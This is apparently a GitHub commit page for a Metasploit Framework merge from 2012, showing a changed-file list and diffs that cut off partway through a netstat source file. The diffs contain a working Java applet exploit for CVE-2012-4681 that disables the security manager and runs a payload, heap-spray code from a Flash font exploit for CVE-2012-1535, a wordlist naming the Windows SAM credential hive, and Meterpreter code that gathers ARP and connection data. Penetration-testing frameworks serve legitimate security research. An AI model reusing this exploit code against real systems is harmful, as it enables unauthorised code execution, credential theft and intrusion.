Skip to content
Browse files

Merge branch 'master' into feature/railgun/error_msg

Conflicts:
	data/meterpreter/ext_server_stdapi.dll
  • Loading branch information...
2 parents 455dc16 + bbded15 commit 50c45333a02e6c03e3ca8a07daaa8d6be371e8d0 @dmaloney-r7 dmaloney-r7 committed Aug 29, 2012
Showing with 5,375 additions and 1,433 deletions.
  1. BIN data/exploits/CVE-2012-1535/Main.swf
  2. BIN data/exploits/CVE-2012-1535/trigger.swf
  3. BIN data/exploits/CVE-2012-4681/Exploit.class
  4. BIN data/meterpreter/ext_server_stdapi.lso
  5. BIN data/meterpreter/metsrv.dll
  6. BIN data/meterpreter/msflinker_linux_x86.bin
  7. +7 −0 data/wordlists/sensitive_files_win.txt
  8. +112 −111 external/source/exploits/CVE-2012-1535/Main.as
  9. +75 −0 external/source/exploits/CVE-2012-4681/Exploit.java
  10. +51 −6 external/source/meterpreter/source/common/common.h
  11. +182 −0 external/source/meterpreter/source/extensions/stdapi/server/net/config/arp.c
  12. +827 −0 external/source/meterpreter/source/extensions/stdapi/server/net/config/netstat.c
  13. +4 −0 external/source/meterpreter/source/extensions/stdapi/server/net/net.h
  14. +8 −0 external/source/meterpreter/source/extensions/stdapi/server/stdapi.c
  15. +20 −0 external/source/meterpreter/source/extensions/stdapi/stdapi.h
  16. +2 −0 external/source/meterpreter/workspace/ext_server_stdapi/Makefile
  17. +637 −635 external/source/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj
  18. +86 −53 lib/msf/core/handler/reverse_http.rb
  19. +3 −289 lib/msf/core/handler/reverse_https.rb
  20. +1 −1 lib/msf/core/handler/reverse_ipv6_http.rb
  21. +2 −1 lib/msf/core/handler/reverse_ipv6_https.rb
  22. +4 −0 lib/msf/core/post/common.rb
  23. +9 −3 lib/msf/core/post/file.rb
  24. +2 −0 lib/msf/core/post/linux/priv.rb
  25. +3 −2 lib/msf/core/post/linux/system.rb
  26. +85 −75 lib/msf/core/post/osx/system.rb
  27. +10 −8 lib/msf/core/post/solaris/priv.rb
  28. +0 −1 lib/msf/core/post/solaris/system.rb
  29. +7 −1 lib/msf/core/post/unix.rb
  30. +8 −2 lib/msf/core/post/windows/eventlog.rb
  31. +36 −3 lib/msf/core/post/windows/powershell.rb
  32. +9 −0 lib/msf/core/post/windows/railgun.rb
  33. +68 −2 lib/msf/core/post/windows/registry.rb
  34. +2 −1 lib/rex/mac_oui.rb
  35. +60 −0 lib/rex/post/meterpreter/extensions/stdapi/net/arp.rb
  36. +62 −0 lib/rex/post/meterpreter/extensions/stdapi/net/config.rb
  37. +98 −0 lib/rex/post/meterpreter/extensions/stdapi/net/netstat.rb
  38. +4 −0 lib/rex/post/meterpreter/extensions/stdapi/tlv.rb
  39. +2 −2 lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb
  40. +61 −0 lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb
  41. +2 −2 lib/rex/proto/smb/client.rb
  42. +37 −3 modules/auxiliary/scanner/http/http_traversal.rb
  43. +87 −0 modules/auxiliary/server/capture/http_basic.rb
  44. +37 −15 modules/auxiliary/server/capture/http_ntlm.rb
  45. +696 −0 modules/auxiliary/server/http_ntlmrelay.rb
  46. +96 −0 modules/exploits/linux/http/esva_exec.rb
  47. +148 −0 modules/exploits/linux/misc/zabbix_server_exec.rb
  48. +129 −0 modules/exploits/multi/browser/java_jre17_exec.rb
  49. +193 −79 modules/exploits/multi/http/jboss_bshdeployer.rb
  50. +284 −88 modules/exploits/multi/http/jboss_deploymentfilerepository.rb
  51. +37 −28 modules/exploits/multi/http/jboss_maindeployer.rb
  52. +132 −0 modules/exploits/unix/webapp/xoda_file_upload.rb
  53. +53 −14 modules/exploits/windows/browser/adobe_flash_otf_font.rb
  54. +536 −0 modules/exploits/windows/http/sap_host_control_cmd_exec.rb
  55. +196 −0 modules/exploits/windows/http/sysax_create_folder.rb
  56. +37 −2 modules/exploits/windows/smb/ms08_067_netapi.rb
  57. +0 −2 modules/payloads/stagers/windows/reverse_ipv6_https.rb
  58. +42 −0 modules/post/windows/gather/hashdump.rb
  59. +41 −2 modules/post/windows/gather/smart_hashdump.rb
  60. +1 −1 modules/post/windows/gather/tcpnetstat.rb
  61. +44 −1 scripts/meterpreter/hashdump.rb
View
BIN data/exploits/CVE-2012-1535/Main.swf
Binary file not shown.
View
BIN data/exploits/CVE-2012-1535/trigger.swf
Binary file not shown.
View
BIN data/exploits/CVE-2012-4681/Exploit.class
Binary file not shown.
View
BIN data/meterpreter/ext_server_stdapi.lso
Binary file not shown.
View
BIN data/meterpreter/metsrv.dll
Binary file not shown.
View
BIN data/meterpreter/msflinker_linux_x86.bin
Binary file not shown.
View
7 data/wordlists/sensitive_files_win.txt
@@ -0,0 +1,7 @@
+boot.ini
+config.sys
+autoexec.bat
+Windows\system32\drivers\etc\hosts
+winnt\system32\drivers\etc\hosts
+Windows\system32\config\SAM
+winnt\system32\config\SAM
View
223 external/source/exploits/CVE-2012-1535/Main.as
@@ -1,118 +1,119 @@
package {
- import flash.text.engine.*;
- import flash.utils.*;
- import flash.display.*;
- import flash.events.*;
- import flash.net.*;
- import flash.external.*;
+ import flash.text.engine.*;
+ import flash.utils.*;
+ import flash.display.*;
+ import flash.events.*;
+ import flash.net.*;
+ import flash.external.*;
- public class Main extends Sprite {
+ public class Main extends Sprite {
- private var FontClass:Class;
- public var kbArray:ByteArray;
- public var mbArray:ByteArray;
- public var tmpArray:ByteArray;
- public var allocs:Array;
- private var shellcode:String;
- private var urlLoader:URLLoader = new URLLoader();
+ private var FontClass:Class;
+ public var kbArray:ByteArray;
+ public var mbArray:ByteArray;
+ public var tmpArray:ByteArray;
+ public var allocs:Array;
+ private var shellcode:String;
+ private var urlLoader:URLLoader = new URLLoader();
- public function Main():void{
- this.FontClass = Main_FontClass;
- super();
- var path:String = "/pay.txt";
- var urlRequest:URLRequest = new URLRequest(path);
- urlLoader.dataFormat = URLLoaderDataFormat.TEXT;
- urlLoader.addEventListener(Event.COMPLETE, urlLoader_complete);
- urlLoader.load(urlRequest);
- }
-
- public function finishExploit(p:String):void{
- this.heapSpray(p);
- this.TextBlock_createTextLineExample();
- }
-
- public function urlLoader_complete(evt:Event):void {
- finishExploit(urlLoader.data);
- }
-
- public function TextBlock_createTextLineExample():void{
- var _local1 = "Edit the world in hex.";
- var _local2:FontDescription = new FontDescription("PSpop");
- _local2.fontLookup = FontLookup.EMBEDDED_CFF;
- var _local3:ElementFormat = new ElementFormat(_local2);
- _local3.fontSize = 16;
- var _local4:TextElement = new TextElement(_local1, _local3);
- var _local5:TextBlock = new TextBlock();
- _local5.content = _local4;
- this.createLines(_local5);
- }
+ public function Main():void{
+ this.FontClass = Main_FontClass;
+ super();
+ var source:String = root.loaderInfo.parameters.s;
+ var path:String = "/" + source + ".txt"
+ var urlRequest:URLRequest = new URLRequest(path);
+ urlLoader.dataFormat = URLLoaderDataFormat.TEXT;
+ urlLoader.addEventListener(Event.COMPLETE, urlLoader_complete);
+ urlLoader.load(urlRequest);
+ }
+
+ public function finishExploit(p:String):void{
+ this.heapSpray(p);
+ this.TextBlock_createTextLineExample();
+ }
+
+ public function urlLoader_complete(evt:Event):void {
+ finishExploit(urlLoader.data);
+ }
+
+ public function TextBlock_createTextLineExample():void{
+ var _local1 = "Edit the world in hex.";
+ var _local2:FontDescription = new FontDescription("PSpop");
+ _local2.fontLookup = FontLookup.EMBEDDED_CFF;
+ var _local3:ElementFormat = new ElementFormat(_local2);
+ _local3.fontSize = 16;
+ var _local4:TextElement = new TextElement(_local1, _local3);
+ var _local5:TextBlock = new TextBlock();
+ _local5.content = _local4;
+ this.createLines(_local5);
+ }
+
+ private function createLines(_arg1:TextBlock):void{
+ var _local2:Number = 300;
+ var _local3:Number = 15;
+ var _local4:Number = 20;
+ var _local5:TextLine = _arg1.createTextLine(null, _local2);
+ while (_local5) {
+ _local5.x = _local3;
+ _local5.y = _local4;
+ _local4 = (_local4 + (_local5.height + 2));
+ addChild(_local5);
+ _local5 = _arg1.createTextLine(_local5, _local2);
+ };
+ }
+
+ public function heapSpray(p:String):void{
+ var _local1:uint;
+ _local1 = 0;
+ this.kbArray = new ByteArray();
+ this.kbArray.endian = Endian.LITTLE_ENDIAN;
+ var _local4:String = p;
+ var _local5:ByteArray = this.hexToBin(_local4);
+ var _local6:uint = (_local4.length / 2);
+
+ _local1 = 0;
+ while (_local1 < 0x0400) {
+ this.kbArray.writeByte(12);
+ _local1 = (_local1 + 1);
+ };
- private function createLines(_arg1:TextBlock):void{
- var _local2:Number = 300;
- var _local3:Number = 15;
- var _local4:Number = 20;
- var _local5:TextLine = _arg1.createTextLine(null, _local2);
- while (_local5) {
- _local5.x = _local3;
- _local5.y = _local4;
- _local4 = (_local4 + (_local5.height + 2));
- addChild(_local5);
- _local5 = _arg1.createTextLine(_local5, _local2);
- };
- }
+ _local1 = 0;
+ this.mbArray = new ByteArray();
+ this.mbArray.endian = Endian.LITTLE_ENDIAN;
+ while (_local1 < 0x0400) {
+ this.mbArray.writeBytes(this.kbArray, 0, this.kbArray.length);
+ _local1 = (_local1 + 1);
+ };
+ _local1 = 0;
+ while (_local1 < 0x100000) {
+ this.mbArray.position = _local1;
+ this.mbArray.writeBytes(_local5, 0, _local5.length);
+ _local1 = (_local1 + 65536);
+ };
+ _local1 = 0;
+ this.allocs = new Array();
+ while (_local1 < 0x0200) {
+ this.tmpArray = new ByteArray();
+ this.tmpArray.endian = Endian.LITTLE_ENDIAN;
+ this.tmpArray.writeBytes(this.mbArray, 0, this.mbArray.length);
+ this.allocs.push(this.tmpArray);
+ _local1 = (_local1 + 1);
+ };
+ }
- public function heapSpray(p:String):void{
- var _local1:uint;
- _local1 = 0;
- this.kbArray = new ByteArray();
- this.kbArray.endian = Endian.LITTLE_ENDIAN;
- var _local4:String = p;
- var _local5:ByteArray = this.hexToBin(_local4);
- var _local6:uint = (_local4.length / 2);
-
- _local1 = 0;
- while (_local1 < 0x0400) {
- this.kbArray.writeByte(12);
- _local1 = (_local1 + 1);
- };
-
- _local1 = 0;
- this.mbArray = new ByteArray();
- this.mbArray.endian = Endian.LITTLE_ENDIAN;
- while (_local1 < 0x0400) {
- this.mbArray.writeBytes(this.kbArray, 0, this.kbArray.length);
- _local1 = (_local1 + 1);
- };
- _local1 = 0;
- while (_local1 < 0x100000) {
- this.mbArray.position = _local1;
- this.mbArray.writeBytes(_local5, 0, _local5.length);
- _local1 = (_local1 + 65536);
- };
- _local1 = 0;
- this.allocs = new Array();
- while (_local1 < 0x0200) {
- this.tmpArray = new ByteArray();
- this.tmpArray.endian = Endian.LITTLE_ENDIAN;
- this.tmpArray.writeBytes(this.mbArray, 0, this.mbArray.length);
- this.allocs.push(this.tmpArray);
- _local1 = (_local1 + 1);
- };
- }
+ private function hexToBin(_arg1:String):ByteArray{
+ var _local5:String;
+ var _local2:ByteArray = new ByteArray();
+ var _local3:uint = _arg1.length;
+ var _local4:uint;
+ _local2.endian = Endian.LITTLE_ENDIAN;
+ while (_local4 < _local3) {
+ _local5 = (_arg1.charAt(_local4) + _arg1.charAt((_local4 + 1)));
+ _local2.writeByte(parseInt(_local5, 16));
+ _local4 = (_local4 + 2);
+ };
+ return (_local2);
+ }
- private function hexToBin(_arg1:String):ByteArray{
- var _local5:String;
- var _local2:ByteArray = new ByteArray();
- var _local3:uint = _arg1.length;
- var _local4:uint;
- _local2.endian = Endian.LITTLE_ENDIAN;
- while (_local4 < _local3) {
- _local5 = (_arg1.charAt(_local4) + _arg1.charAt((_local4 + 1)));
- _local2.writeByte(parseInt(_local5, 16));
- _local4 = (_local4 + 2);
- };
- return (_local2);
- }
-
- }
-}
+ }
+}
View
75 external/source/exploits/CVE-2012-4681/Exploit.java
@@ -0,0 +1,75 @@
+//
+// CVE-2012-XXXX Java 0day
+//
+// reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
+
+import java.applet.Applet;
+import java.awt.Graphics;
+import java.beans.Expression;
+import java.beans.Statement;
+import java.lang.reflect.Field;
+import java.net.URL;
+import java.security.*;
+import java.security.cert.Certificate;
+import metasploit.Payload;
+
+public class Exploit extends Applet
+{
+
+ public Exploit()
+ {
+ }
+
+ public void disableSecurity()
+ throws Throwable
+ {
+ Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
+ Permissions localPermissions = new Permissions();
+ localPermissions.add(new AllPermission());
+ ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
+ AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
+ localProtectionDomain
+ });
+ SetField(Statement.class, "acc", localStatement, localAccessControlContext);
+ localStatement.execute();
+ }
+
+ private Class GetClass(String paramString)
+ throws Throwable
+ {
+ Object arrayOfObject[] = new Object[1];
+ arrayOfObject[0] = paramString;
+ Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
+ localExpression.execute();
+ return (Class)localExpression.getValue();
+ }
+
+ private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
+ throws Throwable
+ {
+ Object arrayOfObject[] = new Object[2];
+ arrayOfObject[0] = paramClass;
+ arrayOfObject[1] = paramString;
+ Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
+ localExpression.execute();
+ ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
+ }
+
+ public void init()
+ {
+ try
+ {
+ disableSecurity();
+ Payload.main(null);
+ }
+ catch(Throwable localThrowable)
+ {
+ localThrowable.printStackTrace();
+ }
+ }
+
+ public void paint(Graphics paramGraphics)
+ {
+ paramGraphics.drawString("Loading", 50, 25);
+ }
+}
View
57 external/source/meterpreter/source/common/common.h
@@ -8,6 +8,14 @@
#ifdef _WIN32
#include <winsock2.h>
#include <windows.h>
+
+ typedef DWORD __u32;
+ typedef struct ___u128 {
+ __u32 a1;
+ __u32 a2;
+ __u32 a3;
+ __u32 a4;
+ }__u128;
#endif
#include "openssl/ssl.h"
#ifdef _UNIX
@@ -70,16 +78,16 @@ struct ipv4_route_entry {
__u32 dest;
__u32 netmask;
__u32 nexthop;
- unsigned char interface[IFNAMSIZ+1];
- __u32 metric;
+ unsigned char interface[IFNAMSIZ+1];
+ __u32 metric;
};
struct ipv6_route_entry {
__u128 dest6;
__u128 netmask6;
__u128 nexthop6;
- unsigned char interface[IFNAMSIZ+1];
- __u32 metric;
+ unsigned char interface[IFNAMSIZ+1];
+ __u32 metric;
};
struct ipv4_routing_table {
@@ -93,10 +101,23 @@ struct ipv6_routing_table {
};
struct routing_table {
- struct ipv4_routing_table ** table_ipv4;
- struct ipv6_routing_table ** table_ipv6;
+ struct ipv4_routing_table ** table_ipv4;
+ struct ipv6_routing_table ** table_ipv6;
+};
+
+struct arp_entry {
+ __u32 ipaddr;
+ unsigned char hwaddr[6];
+ unsigned char name[IFNAMSIZ+1];
};
+struct arp_table {
+ int entries;
+ struct arp_entry table[0];
+};
+
+
+
int netlink_get_routing_table(struct ipv4_routing_table **table_ipv4, struct ipv6_routing_table **table_ipv6);
int netlink_get_interfaces(struct ifaces_list **iface_list);
@@ -108,6 +129,30 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
#endif
+struct connection_entry {
+ char type; // AF_INET / AF_INET6
+ union {
+ __u32 addr;
+ __u128 addr6;
+ } local_addr;
+ union {
+ __u32 addr;
+ __u128 addr6;
+ } remote_addr;
+ __u32 local_port;
+ __u32 remote_port;
+ unsigned char protocol[5]; // tcp/tcp6/udp/udp6
+ unsigned char state[15]; // established, syn_sent..
+ __u32 uid;
+ __u32 inode;
+ unsigned char program_name[30]; // pid/program_name or "-"
+};
+
+struct connection_table {
+ int entries;
+ int max_entries;
+ struct connection_entry table[0];
+};
#include "linkage.h"
View
182 external/source/meterpreter/source/extensions/stdapi/server/net/config/arp.c
@@ -0,0 +1,182 @@
+#include "precomp.h"
+
+#ifdef _WIN32
+
+DWORD windows_get_arp_table(Remote *remote, Packet *response)
+{
+ PMIB_IPNETTABLE pIpNetTable = NULL;
+ DWORD result = ERROR_SUCCESS;
+ DWORD dwSize = 0;
+ DWORD dwRetVal;
+ DWORD i;
+ char interface_index[10];
+
+ do {
+ dwRetVal = GetIpNetTable(NULL, &dwSize, 0);
+
+ /* Get the size required by GetIpNetTable() */
+ if (dwRetVal == ERROR_INSUFFICIENT_BUFFER) {
+ pIpNetTable = (MIB_IPNETTABLE *) malloc (dwSize);
+ }
+
+ else if ((dwRetVal != NO_ERROR) && (dwRetVal != ERROR_NO_DATA)) {
+ result = ERROR_NOT_SUPPORTED;
+ break;
+ }
+
+ if (pIpNetTable == NULL) {
+ result = GetLastError();
+ break;
+ }
+
+ if ((dwRetVal = GetIpNetTable(pIpNetTable, &dwSize, 0)) == NO_ERROR) {
+ dprintf("[ARP] found %d arp entries", pIpNetTable->dwNumEntries);
+ for (i = 0 ; i < pIpNetTable->dwNumEntries ; i++) {
+ // send only dynamic or static entry
+ if ((pIpNetTable->table[i].dwType == MIB_IPNET_TYPE_DYNAMIC) ||
+ (pIpNetTable->table[i].dwType == MIB_IPNET_TYPE_STATIC)) {
+ Tlv arp[3];
+ // can't send interface name as it can be _big_, so send index instead
+ sprintf_s(interface_index, sizeof(interface_index), "%d", pIpNetTable->table[i].dwIndex);
+
+ arp[0].header.type = TLV_TYPE_IP;
+ arp[0].header.length = sizeof(DWORD);
+ arp[0].buffer = (PUCHAR)&pIpNetTable->table[i].dwAddr;
+
+ arp[1].header.type = TLV_TYPE_MAC_ADDR;
+ arp[1].header.length = 6;
+ arp[1].buffer = (PUCHAR)pIpNetTable->table[i].bPhysAddr;
+
+ arp[2].header.type = TLV_TYPE_MAC_NAME;
+ arp[2].header.length = strlen(interface_index) + 1;
+ arp[2].buffer = (PUCHAR)interface_index;
+
+ packet_add_tlv_group(response, TLV_TYPE_ARP_ENTRY, arp, 3);
+ }
+ }
+ free(pIpNetTable);
+ }
+ else { // GetIpNetTable failed
+ result = GetLastError();
+ break;
+ }
+ } while (0);
+
+ return result;
+}
+#else
+
+DWORD linux_proc_get_arp_table(struct arp_table ** table_arp)
+{
+ unsigned char buffer_ip[40], buffer_mac[40], buffer_int[40];
+ char * end_ptr;
+ DWORD result = ERROR_SUCCESS;
+ FILE * fd;
+ __u32 newsize, i;
+ long b;
+ struct arp_table * table_tmp;
+ struct in_addr ip_addr;
+
+ fd = fopen("/proc/net/arp", "r");
+ if (fd == NULL) {
+ result = GetLastError();
+ return result;
+ }
+
+ *table_arp = calloc(sizeof(struct arp_table), 1);
+
+ /*
+ * read first line that we don't need
+ * IP address HW type Flags HW address Mask Device
+ */
+ while (!feof(fd) && fgetc(fd) != '\n');
+ while (!feof(fd) && (fscanf(fd, " %15[0-9.] %*s %*s %17[A-Fa-f0-9:] %*s %30s", buffer_ip, buffer_mac, buffer_int) == 3)) {
+
+ // allocate size for new entry
+ newsize = sizeof(struct arp_table);
+ newsize += ((*table_arp)->entries + 1) * sizeof(struct arp_entry);
+ table_tmp = realloc(*table_arp, newsize);
+ if (table_tmp == NULL)
+ return ENOMEM;
+
+ memset(&table_tmp->table[table_tmp->entries], 0, sizeof(struct arp_entry));
+
+ // ip address
+ inet_pton(AF_INET, buffer_ip, &ip_addr);
+ table_tmp->table[table_tmp->entries].ipaddr = ip_addr.s_addr;
+
+ // mac address
+ for(i = 0; i < 6 ; i++) {
+ b = strtol(&buffer_mac[3*i], 0, 16);
+ table_tmp->table[table_tmp->entries].hwaddr[i] = (unsigned char)b;
+ }
+
+ // interface name
+ strncpy(table_tmp->table[table_tmp->entries].name, buffer_int, IFNAMSIZ);
+
+ table_tmp->entries++;
+ *table_arp = table_tmp;
+
+ }
+
+ fclose(fd);
+ return result;
+}
+
+DWORD linux_get_arp_table(Remote *remote, Packet *response)
+{
+ struct arp_table *table_arp = NULL;
+ DWORD result;
+ DWORD index;
+
+
+ dprintf("getting arp table through /proc/net/arp");
+ result = linux_proc_get_arp_table(&table_arp);
+ dprintf("result = %d, table_arp = 0x%p , entries : %d", result, table_arp, table_arp->entries);
+
+ for(index = 0; index < table_arp->entries; index++) {
+ Tlv arp[3];
+
+ arp[0].header.type = TLV_TYPE_IP;
+ arp[0].header.length = sizeof(__u32);
+ arp[0].buffer = (PUCHAR)&table_arp->table[index].ipaddr;
+
+ arp[1].header.type = TLV_TYPE_MAC_ADDR;
+ arp[1].header.length = 6;
+ arp[1].buffer = (PUCHAR)(table_arp->table[index].hwaddr);
+
+ arp[2].header.type = TLV_TYPE_MAC_NAME;
+ arp[2].header.length = strlen(table_arp->table[index].name) + 1;
+ arp[2].buffer = (PUCHAR)(table_arp->table[index].name);
+
+ packet_add_tlv_group(response, TLV_TYPE_ARP_ENTRY, arp, 3);
+ }
+ dprintf("sent %d arp entries", table_arp->entries);
+
+ if (table_arp)
+ free(table_arp);
+
+ return result;
+}
+
+#endif
+
+/*
+ * Returns zero or more arp entries to the requestor from the arp cache
+ */
+DWORD request_net_config_get_arp_table(Remote *remote, Packet *packet)
+{
+ Packet *response = packet_create_response(packet);
+ DWORD result;
+
+#ifdef _WIN32
+ result = windows_get_arp_table(remote, response);
+#else
+ result = linux_get_arp_table(remote, response);
+#endif
+
+ packet_transmit_response(result, remote, response);
+
+ return ERROR_SUCCESS;
+}
+
View
827 external/source/meterpreter/source/extensions/stdapi/server/net/config/netstat.c
@@ -0,0 +1,827 @@
+#include "precomp.h"
+
+#ifdef _WIN32
+
+/*
+ * check if there is enough place for another connection entry and allocate some more
+ * memory if necessary
+ */
+DWORD check_and_allocate(struct connection_table **table_connection)
+{
+ DWORD newsize;
+ struct connection_table * tmp_table;
+
+ if ((*table_connection)->entries >= (*table_connection)->max_entries) {
+ newsize = sizeof(struct connection_table);
+ newsize += ((*table_connection)->entries + 10) * sizeof(struct connection_entry);
+ tmp_table = (struct connection_table *)realloc(*table_connection, newsize);
+ if (tmp_table == NULL) {
+ free(*table_connection);
+ return ERROR_NOT_ENOUGH_MEMORY;
+ }
+
+ *table_connection = tmp_table;
+ memset(&(*table_connection)->table[(*table_connection)->entries], 0, 10 * sizeof(struct connection_entry));
+ (*table_connection)->max_entries += 10;
+ }
+ return ERROR_SUCCESS;
+}
+
+typedef HANDLE (WINAPI *ptr_CreateToolhelp32Snapshot)(DWORD dwFlags,DWORD th32ProcessID);
+typedef BOOL (WINAPI *ptr_Process32First)(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);
+typedef BOOL (WINAPI *ptr_Process32Next)(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);
+
+
+/*
+ * write pid/process_name in buffer
+ */
+
+DWORD set_process_name(DWORD pid, char * buffer, DWORD buffer_size)
+{
+ HANDLE hSnapshot;
+ ptr_CreateToolhelp32Snapshot ct32s = NULL;
+ ptr_Process32First p32f = NULL;
+ ptr_Process32Next p32n = NULL;
+
+
+ ct32s = (ptr_CreateToolhelp32Snapshot)GetProcAddress(GetModuleHandle("kernel32"), "CreateToolhelp32Snapshot");
+ p32f = (ptr_Process32First)GetProcAddress(GetModuleHandle("kernel32"), "Process32First");
+ p32n = (ptr_Process32Next)GetProcAddress(GetModuleHandle("kernel32"), "Process32Next");
+
+ if ((!ct32s) || (!p32f) || (!p32n))
+ return -1;
+
+ hSnapshot = ct32s(TH32CS_SNAPPROCESS,0);
+ if(hSnapshot) {
+ PROCESSENTRY32 pe32;
+ pe32.dwSize = sizeof(PROCESSENTRY32);
+ if(p32f(hSnapshot,&pe32)) {
+ do {
+ if (pe32.th32ProcessID == pid) {
+ _snprintf_s(buffer, buffer_size-1, _TRUNCATE, "%d/%s",pid, pe32.szExeFile);
+ break;
+ }
+ } while(p32n(hSnapshot,&pe32));
+ }
+ CloseHandle(hSnapshot);
+ }
+ return ERROR_SUCCESS;
+}
+
+char *tcp_connection_states[] = {
+ "", "CLOSED", "LISTEN", "SYN_SENT", "SYN_RECV", "ESTABLISHED", "FIN_WAIT1", "FIN_WAIT2", "CLOSE_WAIT",
+ "CLOSING", "LAST_ACK", "TIME_WAIT", "DELETE_TCB", "UNKNOWN" };
+
+typedef struct _MIB_TCP6ROW_OWNER_MODULE {
+ UCHAR ucLocalAddr[16];
+ DWORD dwLocalScopeId;
+ DWORD dwLocalPort;
+ UCHAR ucRemoteAddr[16];
+ DWORD dwRemoteScopeId;
+ DWORD dwRemotePort;
+ DWORD dwState;
+ DWORD dwOwningPid;
+ LARGE_INTEGER liCreateTimestamp;
+ ULONGLONG OwningModuleInfo[TCPIP_OWNING_MODULE_SIZE];
+} MIB_TCP6ROW_OWNER_MODULE, *PMIB_TCP6ROW_OWNER_MODULE;
+
+typedef struct _MIB_UDP6ROW_OWNER_MODULE {
+ UCHAR ucLocalAddr[16];
+ DWORD dwLocalScopeId;
+ DWORD dwLocalPort;
+ DWORD dwOwningPid;
+ LARGE_INTEGER liCreateTimestamp;
+ union {
+ struct {
+ int SpecificPortBind :1;
+ };
+ int dwFlags;
+ };
+ ULONGLONG OwningModuleInfo[TCPIP_OWNING_MODULE_SIZE];
+} MIB_UDP6ROW_OWNER_MODULE, *PMIB_UDP6ROW_OWNER_MODULE;
+
+typedef struct _MIB_TCP6TABLE_OWNER_MODULE {
+ DWORD dwNumEntries;
+ MIB_TCP6ROW_OWNER_MODULE table[ANY_SIZE];
+} MIB_TCP6TABLE_OWNER_MODULE, *PMIB_TCP6TABLE_OWNER_MODULE;
+
+typedef struct {
+ DWORD dwNumEntries;
+ MIB_UDP6ROW_OWNER_MODULE table[ANY_SIZE];
+} MIB_UDP6TABLE_OWNER_MODULE, *PMIB_UDP6TABLE_OWNER_MODULE;
+
+typedef DWORD (WINAPI * ptr_GetExtendedTcpTable)(PVOID, PDWORD pdwSize, BOOL bOrder, ULONG ulAf,TCP_TABLE_CLASS TableClass,
+ULONG Reserved);
+typedef DWORD (WINAPI * ptr_GetExtendedUdpTable)(PVOID, PDWORD pdwSize, BOOL bOrder, ULONG ulAf,TCP_TABLE_CLASS TableClass,
+ULONG Reserved);
+
+
+/*
+ * retrieve tcp table for win 2000 and NT4 ?
+ */
+DWORD windows_get_tcp_table_win2000_down(struct connection_table **table_connection)
+{
+ PMIB_TCPTABLE pTcpTable = NULL;
+ struct connection_entry * current_connection;
+ DWORD dwSize = 0;
+ DWORD dwRetVal = 0;
+ DWORD result = ERROR_SUCCESS;
+ DWORD i, state;
+
+ do {
+ dwRetVal = GetTcpTable(pTcpTable, &dwSize, TRUE);
+ dprintf("[NETSTAT TCP] need %d bytes",dwSize);
+ /* Get the size required by GetTcpTable() */
+ if (dwRetVal == ERROR_INSUFFICIENT_BUFFER) {
+ pTcpTable = (MIB_TCPTABLE *) malloc (dwSize);
+ }
+ else if (dwRetVal != NO_ERROR) {
+ result = ERROR_NOT_SUPPORTED;
+ break;
+ }
+
+ if ((dwRetVal = GetTcpTable(pTcpTable, &dwSize, TRUE)) == NO_ERROR) {
+ dprintf("[NETSTAT] found %d tcp connections", pTcpTable->dwNumEntries);
+ for (i = 0 ; i < pTcpTable->dwNumEntries ; i++) {
+ // check available memory and allocate if necessary
+ if (check_and_allocate(table_connection) == ERROR_NOT_ENOUGH_MEMORY) {
+ free(pTcpTable);
+ return ERROR_NOT_ENOUGH_MEMORY;
+ }
+ current_connection = &(*table_connection)->table[(*table_connection)->entries];
+ current_connection->type = AF_INET;
+ current_connection->local_addr.addr = pTcpTable->table[i].dwLocalAddr;
+ current_connection->remote_addr.addr = pTcpTable->table[i].dwRemoteAddr;
+ current_connection->local_port = ntohs((u_short)(pTcpTable->table[i].dwLocalPort & 0x0000ffff));
+ // if socket is in LISTEN, remote_port is garbage, force value to 0
+ if (pTcpTable->table[i].dwState == MIB_TCP_STATE_LISTEN)
+ current_connection->remote_port = 0;
+ else
+ current_connection->remote_port = ntohs((u_short)(pTcpTable->table[i].dwRemotePort & 0x0000ffff));
+
+ state = pTcpTable->table[i].dwState;
+ if ((state <= 0) || (state > 12))
+ state = 13; // points to UNKNOWN in the state array
+ strncpy(current_connection->state, tcp_connection_states[state], sizeof(current_connection->state));
+ strncpy(current_connection->protocol, "tcp", sizeof(current_connection->protocol));
+
+ // force program_name to "-"
+ strncpy(current_connection->program_name, "-", sizeof(current_connection->program_name));
+
+ (*table_connection)->entries++;
+ }
+ free(pTcpTable);
+ }
+ else { // GetTcpTable failed
+ result = GetLastError();
+ break;
+ }
+ } while (0) ;
+
+ return result;
+}
+
+/*
+ * retrieve tcp table for win xp and up
+ */
+DWORD windows_get_tcp_table(struct connection_table **table_connection)
+{
+ DWORD result = ERROR_SUCCESS;
+ struct connection_entry * current_connection = NULL;
+ MIB_TCPTABLE_OWNER_MODULE * tablev4 = NULL;
+ MIB_TCP6TABLE_OWNER_MODULE * tablev6 = NULL;
+ MIB_TCPROW_OWNER_MODULE * currentv4 = NULL;
+ MIB_TCP6ROW_OWNER_MODULE * currentv6 = NULL;
+ DWORD i, state, dwSize;
+
+
+ ptr_GetExtendedTcpTable gett = NULL;
+
+ gett = (ptr_GetExtendedTcpTable)GetProcAddress(GetModuleHandle("iphlpapi"), "GetExtendedTcpTable");
+
+ // systems that don't support GetExtendedTcpTable
+ if (gett == NULL) {
+ return windows_get_tcp_table_win2000_down(table_connection);
+ }
+ do {
+ // IPv4 part
+ dwSize = 0;
+ if (gett(NULL,&dwSize, TRUE, AF_INET, TCP_TABLE_OWNER_MODULE_ALL, 0) == ERROR_INSUFFICIENT_BUFFER) {
+ tablev4 = (MIB_TCPTABLE_OWNER_MODULE *)malloc(dwSize);
+ if (gett(tablev4, &dwSize, TRUE, AF_INET, TCP_TABLE_OWNER_MODULE_ALL, 0) == NO_ERROR) {
+ for(i=0; i<tablev4->dwNumEntries; i++) {
